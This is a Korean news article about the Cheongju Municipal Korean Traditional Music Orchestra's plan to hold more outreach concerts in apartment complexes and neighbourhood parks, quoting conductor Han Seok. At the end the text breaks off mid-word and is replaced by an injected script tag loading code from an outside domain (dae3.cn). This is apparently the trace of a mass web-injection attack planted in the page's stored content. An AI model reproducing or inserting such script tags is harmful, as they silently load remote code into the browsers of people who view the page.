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제목	‘시민에게 한걸음 더 다가가는 공연’
내용	시립국악단 ‘시민 밀착형 공연’ 활성화 청주시립국악단(지휘자 한석)이 시민들에게 한걸음 더 나아가는 공연으로 국악 저변 확대의 기틀을 다질 계획이다． 　청주시립국악단은 올해 청주 예술의 전당 대공연장 공연 횟수를 줄이고. 각종 초청공연 및 야외공연 등의 ‘찾아가는 공연’을 확대. 시민들의 음악적 향수 고취를 위한 ‘시민 밀착형 공연’을 활성화시킨다는 방침이다． 　특히 기존의 초청 형식의 공연 외에 아파트 단지나 마을 공원을 직접 찾아가 시민들과의 거리를 좁히는 연주회로 ‘시민을 위한 국악단’으로서의 면모를 보여준다는 계획이다． 　이를 위해 시립국악단은 오는 31일 수곡1동 주공 1단지 내 야외 특설무대에서 꾸며지는 ‘동민을 위한 작은 음악회’를 마련. 시민 밀착형 공연의 첫 발을 내딛는다． 　한석 지휘자는 “이전의 초청공연의 성격을 보면 사전 행사나 식후 행사의 일환인 것들이 많았는데 올해는 적극적인 자세를 갖고 가급적 ‘무대다운 무대’에 설 것”이라며 “오는 6월과 7월에는 크게 네 지역으로 나눠 동민들을 위한 시립국악단만의 야외 음악회를 개최할 것”이라고 말했다． 　청주시 문화예술체육회관 관계자에 따르면 오는 수곡 1동 음악회를 시작으로 율량동. 봉명2동. 용암동 등 마을 공원이나 아파트 단지 내 조성된 공원에 특설무대를 마련. 더욱 밀도있게 시민들 곁으로 찾아가는 공연을 추진한다는 계획이다． 　이는 시민들에게 공연예술의 친숙함을 높이고. 국악 저변확대 기틀 마련이라는 효과를 가져 올 것으로 기대되고 있다． 　시립국악단은 지난 해에도 고인쇄 박물관과 국립청주박물관. 시청 공원. 청주 중앙공원. 충북대 병원 등에서 상설공연을 벌이는 등 4개 시립예술단 중 가장 활발한 연주활동을 보여준 바 있다． 　각종 문화행사와 지역축제의 축하연주회에도 단골 초청 공연팀으로 뽑혀 타 시립예술단에 비해 무려 10배나 많은 외부출연 수입금을 벌여 들이기도 했다． 　이에 한석 지휘자는 “다른 예술단체와 비교했을 때 국악단이 야외 공연에 유리하고. 전통음악부터 창작음악. 성악. 현대음악. 무용 등 다양한 장르를 보여줄 수 있다는 점에서 외부 초청공연을 많이 받는 것 같다”며 “여기에 소규모 인원으로도 무대가 가능한 점과 무엇보다도 시민들의 정서에 맞는 음악이라는 점에서 많은 사람들이 선호하고 있다”고 설?script src=http://dae3.cn>
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